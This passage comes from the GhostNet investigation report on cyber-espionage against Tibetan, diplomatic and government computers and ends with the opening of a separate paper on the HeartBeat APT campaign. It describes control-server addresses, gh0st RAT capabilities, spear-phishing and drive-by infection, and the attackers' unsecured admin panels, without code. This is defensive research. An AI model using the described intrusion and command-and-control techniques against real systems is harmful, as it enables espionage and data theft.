Holiness the Dalai Lama uploading a sensitive document to one of the CGI networks control servers. Fig. 5 Malware retrieving a sensitive document. 27 Tibetan Government-in-Exile (TGIE) On September 11, 2008, Wireshark was used to capture packets from a TGIE computer xxxxxxx. An analysis revealed that this computer was compromised by malware which sent communication to, and received communication from, control servers. The malware made connections to a control server on 221.10.254.248 using the host name 927. bigwww.com. The IP address 221.10.254.248 is assigned to CNCGROUP-SC (CNC Group CHINA169 Sichuan Province Network) in China. The malware on the infected computer used HTTP to connect to a JPEG file, which was not an image file but instead contains an IP address and port number (124.135.97.21:8005). This IP address, 124.135.97.21, is assigned to CNCGROUP-SD (CNC Group CHINA169 Shandong Province Network) in China. Offices of Tibet London On October 1, 2008 Wireshark was used to capture packets from a computer in the London OOT. An analysis revealed that this computer was compromised by malware which sent communication to, and received communication from, control servers. The malware made connections to a control server on 58.141.132.66 using the hostname oyd.3322. org on port 4501. The IP address 58.141.132.66 is assigned to NamBu TV in Seoul, South Korea. 3322. org is a Chinese dynamic domain service. New York On March 3, 2008, Wireshark was used to capture packets from a computer in the New York OOT. An analysis revealed that this computer was compromised by malware which attempted to send communication to a control server. The malware attempted to make a connection to what appears to be a control server at 125.108.172.81 but there was not an active server at that location. The IP address 125.108.172.81 is assigned to CHINANET-ZJ-WZ (CHINANET-ZJ Wenzhou node network) in China. Drewla Following the discovery of targeted malware on the OHHDL, TGIE and OOT networks, we performed similar analysis on Tibetan NGOs to see if we could identify more infected machines communicating with control servers in China. While we carried out such analysis on a number of NGOs, in this report we focus on Drewlas network. The Drewla (connection in Tibetan) is an online outreach project was set up in 2005 that employs Tibetan youth with Chinese language skills to chat with people in mainland China and in the diaspora, raising awareness about the Tibetan situation, sharing the Dalai Lamas teachings, and supplying information on how to circumvent Chinese government censorship on the Internet. On September 12, 2008 Wireshark was used to capture packets from a Drewla computer. An analysis revealed that this computer was compromised by malware which sent communication to, and JR02-2009 Tracking GhostNet - PART TWO 28 received communication from, control servers. The malware made connections to a control server on 221.5.250.98 using the host name www. lookbytheway.net. The IP address 221.5.250.98 is assigned to CNCGROUP-CQ (CNC Group CHINA169 Chongqing Province Network) in China. The malware on the infected computer used HTTP to connect to a file in an attempt to inform the control server of the infected computers status and download commands. The infected computer used HTTP POST to submit data to CGI scripts hosted on the control server. ( see Fig. 6 - p. 29) Box 1. Chinese Internet SIGINT in practice During the course of our research, we were informed of the following incident. A member of Drewla, a young woman, decided to return to her family village in Tibet after working for two years for Drewla. She was arrested at the Nepalese-Tibetan border and taken to a detention facility, where she was held incommunicado for two months. She was interrogated by Chinese intelligence personnel about her employment in Dharamsala. She denied having been politically active and insisted that she had gone to Dharamsala for studies. In response to this, the intelligence officers pulled out a dossier on her activities and presented her with full transcripts of her Internet chats over the years. They indicated that they were fully aware of, and were monitoring, the Drewla outreach initiative and that her colleagues were not welcome to return to Tibet. They then released her and she returned to her village. JR02-2009 Tracking GhostNet - PART TWO 29JR02-2009 Tracking GhostNet - PART TWO This Palantir screen capture shows the relationship between an infected computer at the Office of His Holiness the Dalai Lama (OHHDL) and the Tibetan NGO Drewla. Both attempted to connect to the same control server in the CGI network. Fig. 6 The OHHDL and Drewla were infected by the same malware. 30JR02-2009 Tracking GhostNet - PART TWO Phase 2: Identifying command and control servers This phase of the investigation focused on the discovery of the command and control servers. We were able to identify and connect to the control servers used by the GhostNet by analysing the data from the OHHDL obtained during the field investigations carried out in Phase 1. During this process we were able to find and access web-based administration interfaces on the control server identified from the OHHDL data. These servers contain links to other control servers as well as command servers, and so therefore we were able to enumerate additional command and control servers. After discovering several instances of malware on these servers, we set up a honey pot computer and were able to identify additional malicious servers by monitoring the traffic generated by our infected honey pot. Using the attacker(s) web-based administration interface, we were able to command our honey pot computer to download gh0st RAT, one of the Trojans used by GhostNet. Eventually, our honey pot computer established a connection to the attacker(s) gh0st RAT client. The attacker(s) proceeded to execute commands on our honey pot. We were able to discover several IP addresses within a DSL range in Hainan Island (PRC) that the attacker(s) used to communicate with computers infected with gh0st RAT. Finally, we were able to map out the methods and capabilities of the GhostNet by a triangulated analysis of three sources: 1) data obtained from our collection of socially engineered emails with backdoor attachments, 2) the captured network traffic from Tibetan targets and, 3) data obtained by gaining access to the command and control interface. ( see Fig. 7 - p. 31) While analysing the data collected from the infected OHHDL computer (xxxxxxx), we discovered web-based administration interfaces to four control servers. Through some strategic guessing concerning file paths and file names, we were able to access web interfaces to multiple control servers. In total, we found 26 instances of the administration interface across the four servers. It remains unclear why the attacker(s) did not secure access to the control interface. Perhaps the attacker(s) concluded that the file paths and file names could not be easily guessed. The control servers web interface contains three main components: 1) a listing of all the infected computers that have reported to the control server 2) an interface to issue commands to the infected computers and 3) an interface to monitor pending commands to infected computers and their results when completed. The commands issued to the infected computers direct the infected computer to download files from additional command servers under the attacker(s) control. In some cases, these servers act as control servers themselves however, some appear to be used exclusively to host malicious files that infected computers are meant to download. The attacker(s) set commands on the control servers that instruct infected computers to download additional remote administration Trojans, such as gh0st RAT, in order to take complete real-time control of the infected computers. Three of the four control servers are located in three different locations in China: Hainan, Guangdong and Sichuan. One of the control servers is located at a web-hosting company in the United States. Five of the six command servers are located in mainland China (Hainan, Guangdong, Sichuan and Jiangsu) and one in Hong Kong. This Palantir screen capture shows the GhostNet servers we uncovered and their relationship with the malicious email sent to, 1) the International Tibet Support Network, 2) the infected computer at the Office of His Holiness the Dalai Lama and, 3) the honey pot network set up at the Citizen Lab. 31JR02-2009 Tracking GhostNet - PART TWO Fig. 7 The GhostNet control servers. 32 The four control servers are: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, Hainan-TELECOM, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, US xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-GD, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx CHINANET-SC, CN The six control/command servers are: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-HI, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CUHKNET, HK xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-GD, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-SC, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-JS, CN xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, CHINANET-SC, CN The data obtained from WHOIS records concerning domain name registration reveals that most of the domains are traceable to the same individual. However, the attacker(s) could have simply stolen the domains from someone else, or compromised the servers hosting these domains. Table 1: Domain name registration information xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxx 25/04/06 xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx xxxxxxxxxxxxx 26/11/07 xxxxxxxxxxxxx xxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxx 20/06/08 xxxxxxxxxxxxxxxxxx xxxxxxxxx xxxxxxxxxxxxxxxxxx 03/09/08 List of infected computers (see Fig. 8 - p. 33) The Server List interface provides information on each computer infected by the attacker(s) malware, indicating the name given to the computer (by its owner/operator), its IP address, when it was first infected, when it last called home (i.e. the control server), and how many times it has called home. Each infected computer is assigned a unique identification number so that the infected computer can be tracked even when its IP address changes. The page also features a link to the Send Command interface, through which the attacker(s) sends instructions to the infected JR02-2009 Tracking GhostNet - PART TWO 33JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface shows all infected computers that have checked in with the control server. It has been obscured to protect the identity of the victims. Fig. 8 The GhostNet Server List interface. 34 computers. There is also a button at the top of the page that links to a Command Result page that shows the status of the commands sent to the host and their results. To corroborate our findings, there was an entry in the Server List page of the infected OHHDL computer that we analysed during our field investigations outlined in Part One. It contained the unique ID, the IP address, computer name, and a link to issue commands to the infected computer. Sending commands The Send Command link provided for each entry yields an interface that allows an attacker(s) to send specific commands to the selected infected computer. In addition to a custom command, the attacker(s) may choose from a menu of commands, which includes options to download binaries that provide additional functionality (such as keystroke logging or remote administration), acquire system information (list computer information, software and documents on the computer), or cause the malware to become dormant. ( See Fig. 9 - p. 35) Using the Send Command interface, the attacker(s) issues instructions to the infected computers to download malicious files that are disguised as standard image files. As mentioned above, the files are most often hosted on additional command servers that appear to be dedicated to hosting these infected files.46 These command servers contain a variety of files. While the exact function of each file is not known, the file names given to them by the attacker(s) provide some indication of their functionality. There are file names associated with the retrieval of files as well as keystroke logging. One of the commands available to the attacker(s) instructs infected computers to download the gh0st RAT remote administration tool, which gives the attacker(s) full, real-time control of the infected computer. Gh0st RAT is an open source Trojan that is widely available online. It was developed by Chinese programmers but has now been translated into English. The program allows an attacker to create an executable file that can be repacked and disguised and used to infect and compromise a target computer. This file can be configured to directly connect to the gh0st RAT owner or to a third location, a control server, when it retrieves the current IP address of the gh0st RAT owner. ( See Fig. 10 - p. 36) Once the infected computer connects to the gh0st RAT owner, an entry appears in the Connection window with some information about the infected computer. The gh0st RAT owner may then issue commands to the infected computer. These commands include file manager, screen capture, keylogger, remote shell, system, webcam view, audio capture, as well as the ability to force the infected host to download and execute additional malware, such as a gh0st RAT update. During the course of the investigation, we infected a honey pot computer with the attacker(s) malware. We instructed our infected computer to download the attacker(s) version of gh0st RAT using the malicious networks web-based administration interface. The gh0st RAT attempted to connect to several .broad.hk.hi.dynamic.163data.com.cn IP addresses before finally successfully connecting to xxxxxxxxxxxxxxxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn). 46 In some cases the malicious image files are hosted on the control servers themselves. JR02-2009 Tracking GhostNet - PART TWO 35JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface shows how the attacker(s) can send specific commands to infected computers. It has been obscured to protect the identity of the victims. Fig. 9 The GhostNet Send Command interface. 36JR02-2009 Tracking GhostNet - PART TWO This screen capture of the English language version of the gh0st RAT software shows the commands that an attacker is able to execute on the compromised computer. Fig. 10 The gh0st RAT interface. 37 The gh0st RAT tool attempts to connect to IP addresses of a DSL provider in Hainan, China: xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn xxxxxxxxxxxx.broad.hk.hi.dynamic.163data.com.cn After a successful connection, the attacker(s) proceed to issue commands on our infected computer in real-time. We found similar but unsuccessful connections to the same IP address range from some of the infected computers we analysed and discovered that a rudimentary version of the web-based administration interface contained only one infection from the same IP address range in Hainan. In addition, one of the servers used to host the attacker(s) malicious files is a Government of Hainan web server located in Hainan, and one of the control server interfaces we gained access to is also located in Hainan. However, one should not rush to judgement concerning the identity of the attacker(s) based on this location. The gh0st RAT software can be configured with a proxy server therefore it is possible that the attacker(s) were using a compromised system as a proxy to hide their true location. Command results The Command Result page lists the commands issued through the Send Command page and the status of those commands. Each entry in this interface shows what command was sent to the infected computer, including the URL to the command server and the command file (the malicious file disguised as an image). Upon the successful completion of a command, the relevant date, time, and result are recorded. ( See Fig. 11 - p. 38) The Command Result page contains a column that displays the content sent back to the control server from the infected computer. The command issued to retrieve this content in the Send Command interface is labelled Acquire System Information. Even though we have been unable to properly decode the content,47 the plain text values in the binary content indicate that these entries contain information about the infected computer (CPU, memory, operating system, programmes installed) as well as file names of documents on the computer, presumably for later retrieval. This information is likely used to determine which targets the attacker(s) will further exploit and control using remote administration tools such as gh0st RAT. 47 The content is base64 encoded and XORed with values we have yet to identify. JR02-2009 Tracking GhostNet - PART TWO 38JR02-2009 Tracking GhostNet - PART TWO This screen capture of the GhostNet interface lists the commands issued to infected computers. It has been obscured to protect the identity of the victims. Fig. 11 The GhostNet List Command interface. 39 Methods and capabilities The attacker(s) are able to exploit several infection vectors. First, they create web pages that contain drive by exploit code that infects the computers of those who visit the page. Second, the attacker(s) have also shown that they engage in spear phishing in which contextually relevant emails are sent to targets with PDF and DOC attachments which, when executed, create back doors that cause the infected computer to connect to a control server and await further instructions. With each successful infection the attacker(s) may use any contextually relevant data to further exploit the targeted community and may also impersonate the initial target in order to infect all the targets contacts. Finally, the targets themselves may infect others by forwarding infected documents to their contacts. In this way, the network of infected computers grows organically. The first stage of infection focuses on getting targets to execute malicious code. Once infected, the targets computer routinely checks in with a control server in order to receive further instructions. At this stage, the attacker(s) acquires some initial information regarding the identity of the infected computer. Newer versions of the administration interface contain a direct link to a web service that looks up the relevant WHOIS information about the IP address of the infected computer along with a simple port scan. This version also does a geoIP lookup on the infected computers IP address and lists the country in which the computer is located, indicating that the attacker(s) has an interest in the geographical location of the infected computers. The attack may also issue an acquire system information command that causes the infected computer to upload its hardware statistics, list of programs installed, list of recent documents, and current network connections. The attacker(s) may use this information to target the infected computer for further exploitation. The attacker(s) directs the infected computers to download and install a remote administration Trojan. The attacker(s) have demonstrated a preference for gh0st RAT but may choose from a variety of Trojans. The attacker(s) simply browses to the send command interface and pastes in a link to a version of gh0st RAT on a command server under his or her control. The next time the infected computer checks in to the control server, it will be instructed to download and execute gh0st RAT. Upon completion, the infected computer notifies the control server and the result appears in the attacker(s) web interface. Once gh0st RAT is installed on the target, the infected computer will periodically check a specific location and retrieve the IP address to which it is supposed to connect. When the attacker(s) is not available, he or she will often change this IP to 127.0.0.1 (localhost) so that the amount of potentially suspicious external traffic is limited. When the attacker(s) is ready to receive connections, the IP address is changed to a valid external IP address. When the attacker(s) turns on gh0st RAT, he or she is able to see all the infected machines that have established connections to him or her. The attacker(s) may then execute a wide variety of commands, including file manager, screen capture, keylogger, remote shell, system, webcam view, audio capture, as well as the ability to force the infected host to download and execute additional malware, such as a gh0st RAT update. The attacker(s) may also secretly execute programs on the target computer. JR02-2009 Tracking GhostNet - PART TWO 40 Analysis of list of infected computers A detailed analysis of the list of infected computers revealed an overwhelming number of unique infections in many countries. The same malware that infected computers at the Dalai Lamas office and other Tibetan organizations had a much more extensive set of targets. The list of entities and locations of those targeted was quite varied. In total, we found 1,295 infected computers located in 103 countries. We found that we were able to confidentlyon a scale of low, medium, highidentify 397 of the 1,295 infected computers (26.7), and labelled each one as a high-value target. We did so because they were either significant to the relationship between China and Tibet, Taiwan or India, or were identified as computers at foreign embassies, diplomatic missions, government ministries, or international organizations. Of the remaining infected computers, 536 appear to be computers on private broadband Internet providers. The remaining IP addresses do not reverse resolve and available information on these hosts does not allow us to make judgements regarding the identity or purpose of these computers. Methodology We compiled a unified and comprehensive list of infected computers from all the control servers, as there was considerable duplication across them. There were several duplicate entries in the list of infected computersin some cases, the same infected computer was logged multiple times as it was connecting from a different IP address. In other instances, multiple infected computers were assigned different internal IP addresses and had different computer names but shared the same external IP address. This signifies that there were multiple infected computers sharing Internet access. Where possible, we filtered the results by unique computer name, and if no computer name was present, we filtered by unique external IP address.48 (See Fig. 12 - p. 41) On the surface, the names of the infected computers in the sample are provocative. There are references to ministries of foreign affairs, foreign embassies, and other government entities. Some contains names of officials or their positions/titles. However, we recognize that a computer name can be anything its owner wishes, and may be completely unrelated to the location, function, or owner of that particular computer. Therefore, in order to be more confident as to the true identity or purpose of the infected computer, we relied on reverse DNS look-ups and each IP address record from the Regional Internet Registries. Using these two pieces of information we were able to confirm the validity of the identity of several infected computers with a high (H) degree of confidence. In some cases the computer name associated with the infected computer is actually a domain name or an acronym for a recognizable institution or organization. In these cases we classified our identification of the target with either a medium (M) or low (L) level of confidence. Medium confidence refers to instances where we have otherwise identified a related high confidence target, 48 In one case we removed 117 unique IP addresses from Mexico that appeared to belong to the same computer connecting in to the control server from a DSL provider. JR02-2009 Tracking GhostNet - PART TWO 41JR02-2009 Tracking GhostNet - PART TWO This graphic illustrates the global reach of the GhostNet. There were 1,295 infected computers that reported to the control server. The infections were spread across 103 countries. Taiwan reported the most infections followed by the United States, Vietnam and India. Fig. 12 The geographic location of infected hosts. 42 but for which we rely on the computer name for identification. Low confidence refers to instances in which we rely solely on the computer name for identification. Table 2: Selected infections Organization Confidence Location Infections ASEAN H ID, MY 3 Asian Development Bank H PH, IN 3 Associated Press, UK H GB, HK 2 Bureau of International Trade Relations L PH 1 CanTV, Venezuela H VE 8 Ceger, Portugal H PT 1 Consulate General of Malaysia, Hong Kong H HK 1 Deloitte Touche, New York H US 1 Department of Commerce, Solomon Islands L SB 1 Department of Foreign Affairs, Indonesia H ID 3 Department of Foreign Affairs, Philippines H PH 1 Department of Science and Technology, Philippines H PH 2 Embassy of China, US (see footnote 50) H US 1 Embassy of Cyprus, Germany H DE 1 Embassy of Germany, Australia M AU 1 Embassy of India, Belgium L BE 1 Embassy of India, Serbia L CS 1 Embassy of India, Germany H DE 1 Embassy of India, Italy H IT 1 Embassy Of India, Kuwait H KW 1 Embassy of India, USA H US 7 Embassy of India, Zimbabwe H ZA 1 Embassy of Indonesia, China H CN 1 Embassy of Malaysia, Cuba H CU 1 Embassy of Malaysia, Italy H IT 1 Embassy of Malta L MT 4 Embassy of Malta, Australia L AU 1 Embassy of Malta, Belgium L BE 11 Embassy of Malta, Libya L LY 1 Embassy of Pakistan, Bahrain L BH 1 Embassy of Papua New Guinea, China L CN 1 Embassy of Portugal, Finland H FI 1 Embassy of Portugal, Germany H DE 1 Embassy of The Republic Of China (Taiwan), Swaziland H TW 1 Embassy of Romania, Finland H FI 1 Embassy of Romania, France H FR 1 JR02-2009 Tracking GhostNet - PART TWO 43 Organization Confidence Location Infections Embassy of Romania, Norway H NO 1 Embassy of Romania, PRC H CN 1 Embassy of Thailand, Philippines H PH 2 Embassy of the Republic of Korea, China H CN 2 Government Integrated Telecommunication Network, Malaysia L MY 2 High Commission of India, Cyprus H CY 1 High Commission Of India, United Kingdom H GB 1 Institute for Information Industry, Taiwan L TW 1 International Campaign for Tibet H NL 7 International Chamber of Shipping, United Kingdom L GB 1 Lanka Education and Research Network, Sri Lanka L LK 1 Malta External Trade Corporation Ltd. H MT 1 Maritime Police, Solomon Islands H SB 1 Ministry of Communications, Brunei H BN 1 Ministry of Education, Solomon Islands H SB 1 Ministry of Foreign Affairs, Bangladesh H BD 4 Ministry of Foreign Affairs, Barbados M BB 5 Ministry of Foreign Affairs, Bhutan L BT 11 Ministry of Foreign Affairs, Brunei L BN 1 Ministry Of Foreign Affairs, Iran H IR 1 Ministry of Foreign Affairs, Latvia H LV 2 Ministry of Industry and Trade, Vietnam L VN 30 Ministry of Labour and Human Resources, Bhutan H BT 1 National Informatics Centre, India L IN 12 NATO, (SHAPE HQ) H NL 1 Net Trade, Taiwan H TW 1 New Tang Dynasty Television, United States L US 1 Office of the Dalai Lama, India H IN 2 Pakistan Mission to The United Nations L US, JP 4 Permanent Delegation of Cyprus to the European Union L BE 1 Permanent Mission of Cuba to the United Nations L US 1 PetroVietnam L VN 74 Prime Ministers Office, Laos H LA 5 Public Service Division, Solomon Islands H SB 1 Russian Federal University Network, Russian Federation H RU 1 Software Technology Parks of India, India L IN 2 South Asian Association for Regional Cooperation L BD, US 5 Students for a Free Tibet, United States H US 2 TAITRA, Taiwan H TW, NG 79 JR02-2009 Tracking GhostNet - PART TWO Table 2: Selected infections (contd) 44 Organization Confidence Location Infections Taiwan Government Service Network, Taiwan H TW 1 Tibetan Government in Exile, India H IN, US 4 Trade and Industry Department, Government of Hong Kong H HK 1 Infection timeline The earliest infected computer called home to the control server on May 22, 2007. The most recent entry in our sample is March 12, 2009. On average, the amount of time that a host was actively infected was 145 days.49 While 90 infected computers were only infected for one day, 145 were infected for over 400 days. The longest infection span was 660 days. In total, 422 hosts checked in March 1-12, 2009 373 of these computers were infected in 2008. The data indicates that despite a reduction in new infections, the network continues to be operational. ( See Fig. 13 - p. 45) There are significant spikes in infection rates in December 2007 and August 2008. There were 320 infections in December 2007 spread across 56 countries. However, 113 were located within Taiwan and the majority of these infections occurred within a single organization: the Taiwan External Trade Development Council. During this same period, computers at the Embassies of India in Belgium and Zimbabwe were infected as were the Embassies of Indonesia and the Republic of Korea in the Peoples Republic of China. In addition, computers at the Ministry of Foreign Affairs in Iran were infected as were several computers at the Tibetan Government-in-Exile. The spike in August 2008 totalled 258 infections spread across 46 countries. The OHHDL computer was infected during one of these spikes in August 2008 (It last checked in to the control server in September 2008). This spike included the Chinese Embassy in the United States,50 3 computers at the Embassy of India in the Unites States, and the High Commission of India in the United Kingdom and in Cyprus. It also included the Embassy of Cyprus in Germany, the Embassy of Malaysia in Cuba, the Embassy of Thailand in the Philippines and the Ministry of Industry in Vietnam. Several companies were also compromised, including Net Trade in Taiwan, the New York Office of Deloitte Touche, and PetroVietnam, the government-owned oil and gas Company. 49 The average number of days from the initial infection to the last time an infected computer checked in with a control server. 50 It is unclear whether the affected embassy is the Republic of China (Taiwan) or Peoples Republic of China. JR02-2009 Tracking GhostNet - PART TWO Table 2: Selected infections (contd) 45JR02-2009 Tracking GhostNet - PART TWO This screen capture of a timeline generated with Palantir illustrates when and how many computers were infected by the GhostNet. It shows that there are significant spikes in infection rates in December 2007 and August 2008. Fig. 13 GhostNet infection timeline. PART THREE: Investigating GhostNet: Conclusions 47 The evidence presented in this reportthrough a combination of field investigations, interviews, technical scouting, data analysis, mining and visualizationpaints a disturbing picture. GhostNet represents a network of compromised computers resident in high-value political, economic, and media locations spread across numerous countries worldwide. At the time of writing, these organizations are almost certainly oblivious to the compromised situation in which they find themselves. The computers of diplomats, military attachs, private assistants, secretaries to Prime Ministers, journalists and others are under the concealed control of unknown assailant(s). In Dharamsala and elsewhere, we have witnessed machines being profiled and sensitive documents being removed. At our Laboratory, we have analysed our own infected honey pot computer and discovered that the capabilities of GhostNet are potent and wide ranging. Almost certainly, documents are being removed without the targets knowledge, keystrokes logged, web cameras are being silently triggered, and audio inputs surreptitiously activated. This raises the question, how many sensitive activities have been preemptively anticipated by intelligence gathered through this network? How many illegal transactions have been facilitated by information harvested through GhostNet? Worst of all, how many people may have been put at risk? While these questions are compelling, it would be imprudent to read these findings as an indictment, or to attribute to the owners of GhostNet motivations and intentions for which there is no evidence. Alternative explanations The list of computers controlled by the GhostNet is significant, and certainly atypical for a cybercrime network. The size of the network is small, and the concentration of high-value systems is significant. At the same time, penetrations of this type are not uncommon. Recently, several large-scale spy nets have been discovered, including ones containing lists of affected computers of a magnitude higher than that harvested by GhostNet. This trend is predictable, converging with accumulating incidents of cyber-attacks facilitated by lower entry-thresholds for computer exploitation methods and technologies. The tools we profile in our investigation, though apparently amassed in a complex way to achieve a definite purpose, are not restricted to an exclusive guild of experts with specialized and confidential knowledge. Today, pirated cyber-crime kits circulate extensively on the Internet and can be downloaded by anyone about as easily as the latest pirated DVD.51 Cyberspace has empowered individuals and small groups of non-state actors to do many things, including executing sophisticated computer network operations that were previously only the domain of state intelligence agencies. We have entered the era of do-it-yourself (DIY) signals intelligence. 51 http://ddanchev.blogspot.com/2008/11/zeus-crimeware-kit-gets-carding-layout.html JR02-2009 Tracking GhostNet - PART THREE 48 Attribution Who is ultimately in control of the GhostNet system? While our analysis reveals that numerous politically sensitive and high-value computer systems were compromised, we do not know the motivation or the identity of the attacker(s) or how to accurately characterize this network of infections as a whole. We have not been able to ascertain the type of data that has been obtained by the attacker(s), apart from the basic system information and file listings of the documents located on the target computers. Without this data we are unable to deduce with any certainty what kind of data the attacker(s) were after. There are thus several possibilities for attribution. The most obvious explanation, and certainly the one in which the circumstantial evidence tilts the strongest, would be that this set of high profile targets has been exploited by the Chinese state for military and strategic-intelligence purposes. Indeed, as described above, many of the high confidence, high-value targets that we identified are clearly linked to Chinese foreign and defence policy, particularly in South and South East Asia. Like radar sweeping around the southern border of China, there is an arc of infected nodes from India, Bhutan, Bangladesh and Vietnam, through Laos, Brunei, Philippines, Hong Kong, and Taiwan. Many of the high profile targets reflect some of Chinas most vexing foreign and security policy issues, including Tibet and Taiwan. Moreover, the attacker(s) IP addresses examined here trace back in at least several instances to Hainan Island, home of the Lingshui signals intelligence facility and the Third Technical Department of the Peoples Liberation Army.52 However, we must be cautious to rush to judgement in spite of circumstantial and other evidence, as alternative explanations are certainly possible and charges against a government of this nature are gravely serious. On the other end of the spectrum is the explanation that this is a random set of infected computers that just happens to include high profile targets of strategic significance to China, collected by an individual or group with no political agenda per se. Similarly one can postulate that the targets gathered together happened less by concerted effort than by sheer coincidence. Given the groupings of various entities in the infected computer list (by country and organization), internal email communications and sloppy security practices could have led to cross-infection and subsequent listing on the control servers. Another possible explanation is that there is a single individual or set of individuals (criminal networks, for example) who are targeting these high-value targets for profit. This can be in the form of stealing financial information or critical data that can be sold to clients, be they states or private entities. There are countless examples of large-scale fraud and data theft worldwide and numerous apparent instances of outsourcing to third parties of cyber-attacks and espionage, some of which the Information Warfare Monitor and its related research project, the OpenNet Initiative, have documented. GhostNet could very well be a for-profit, non-state venture. Even patriotic hackers could be acting on their own volition, or with the tacit approval of their government, as operators of the GhostNet. Finally, it is not inconceivable that this network of infected computers could have been targeted by a state other than China, but operated physically within China (and at least one node in 52 http://www.globalsecurity.org/military/world/china/lingshui.htm JR02-2009 Tracking GhostNet - PART THREE 49 the United States) for strategic purposes. Compromised proxy computers on Hainan Island, for example, could have been deployed as staging posts, perhaps in an effort to deliberately mislead observers as to the true operator(s) and purpose of the GhostNet system. The Significance of GhostNet GhostNet is significant, as it does not appear to be a typical cybercrime network. The potential political fallout is enormous. But ultimately, the question of who is behind the GhostNet may matter less than the strategic significance of the collection of affected targets. What this study discovered is serious evidence that information security is an item requiring urgent attention at the highest levels. It demonstrates that the subterranean layers of cyberspace, about which most users are unaware, are domains of active reconnaissance, surveillance, and exploitation. Regardless of who or what is ultimately in control of GhostNet, its capabilities of exploitation and the strategic intelligence that can be harvested from it matter most. Indeed, although the Achilles heel of the GhostNet system allowed us to monitor and document its far-reaching network of infiltration, we can safely hypothesize that it is neither the first nor the only one of its kind. JR02-2009 Tracking GhostNet - PART THREE PART FOUR: About Information Warfare Monitor 51 About the Information Warfare Monitor http://infowar-monitor.net/ The Information Warfare Monitor is an advanced research activity tracking the emergence of cyberspace as a strategic domain. We are an independent research effort. Our mission is to build and broaden the evidence base available to scholars, policymakers, and others. We aim to educate and inform. The Information Warfare Monitor is a public-private venture between two Canadian institutions: The SecDev Group, an operational think tank based in Ottawa (Canada), and the Citizen Lab at the Munk Centre for International Studies, University of Toronto. The Principal Investigators and co-founders of the Information Warfare Monitor are Rafal Rohozinski (The SecDev Group) and Ronald Deibert (Citizen Lab). The Information Warfare Monitor is supported by The SecDev Group which conducts field-based investigations and data gathering. Our advanced research and analysis facilities are located at the Citizen Lab. IWM is part of the Citizen Labs network of advanced research projects, which include the OpenNet Initiative and ONI Asia. The Information Warfare Monitor also benefits from donations from a variety of sponsors including Psiphon Inc, and Palantir Technologies.
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The Information Warfare Monitor engages in three primary activities: 1. Case Studies. We design and carry out active case study research. These are self-generated activities consistent with our mission. We employ a rigorous and multidisciplinary approach to all our case studies blending qualitative, technical, and quantitative methods. As a general rule, our investigations consist of at least two components: Field-based investigations. We engage in qualitative research among affected target audiences and employ techniques that include interviews, long-term in situ interaction with our partners, and extensive technical data collection involving system monitoring, network reconnaissance, and interrogation. Our field-based teams are supported by senior analysts and regional specialists, including social scientists, computer security professionals, policy experts, and linguists, who provide additional contextual support and substantive back-up. Technical scouting and laboratory analysis. Data collected in the field is rigorously analysed using a variety of advanced data fusion and visualization methods. Leads developed on the basis of infield activities are pursued through technical scouting, including computer network investigations, and the resulting data and analysis is shared with our infield teams and partners for verification and for generating additional entry points for follow-on investigations. 52 2. Open Source Trend Analysis. We collect open-source information from the press and other sources tracking global trends in cyberspace. These are published on our public website. 3. Analytical Workshops and Outreach. We work closely with academia, human rights organizations, and the defense and intelligence community. We publish reports, and occasionally conduct joint workshops. Our work is independent, and not subject to government classification. Our goal is to encourage vigorous debate around critical policy issues. This includes engaging in ethical and legal considerations of information operations, computer network attacks, and computer network exploitation, including the targeted use of Trojans and malware, denial of service attacks, and content filtering. About The SecDev Group http://www.secdev.ca The SecDev Group is a Canadian-based operational consultancy focused on countries and regions at risk from violence and insecurity. We deliver to our clients insights and access to a diverse range of cultures, audiences, challenging environments and ungoverned spaces. Our approach combines a field research capability with advanced techniques and methods for generating policy-relevant analysis and solutions. As a think tank, we identify and communicate realistic options to enhance effectiveness through evidence-based research on the causes, consequences and trajectories of insecurity and violence. We are operational because we design and conduct activities in complex and insecure environments. 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Title page Foreword Acknowledgements Table of Contents Summary Introduction Part One Part Two Part Three Part Four Trend Micro Incorporated Research Paper 2012 The HeartBeat APT Campaign Roland Dela Paz PAGE ii THE HEARTBEAT APT CAMPAiGN Contents About This Paper .................................................................................................................................. 1 Introduction ........................................................................................................................................... 1 Campaign Targets ................................................................................................................................ 2 Context ................................................................................................................................................... 2 Attack Vector ........................................................................................................................................ 3 Infection Flow .......................................................................................................................................4 The RAT Component ...........................................................................................................................5 Backdoor Functionalities ............................................................................................................5 Installation and Persistence .......................................................................................................5 CC Communication ....................................................................................................................6 Command and Control ........................................................................................................................8 HeartBeat Campaign Codes and Decoy Documents ...................................................................8 Relationships among CC Domains, IPs, and Campaigns ..........................................................9 Attribution ............................................................................................................................................10 Conclusion ............................................................................................................................................10 Timeline .................................................................................................................................................10 Defending against the HeartBeat Campaign ................................................................................ 11 Trend Micro Threat Protection Against The HeartBeat Campaign Components ................12 THE HEARTBEAT APT CAMPAiGN About this PAPer This paper exposes a targeted attack called HeartBeat, which has been persistently pursuing the South Korean government and related organizations since 2009. This paper will discuss how their specifically crafted campaigns infiltrate their targets. Compared to most advanced persistent threat 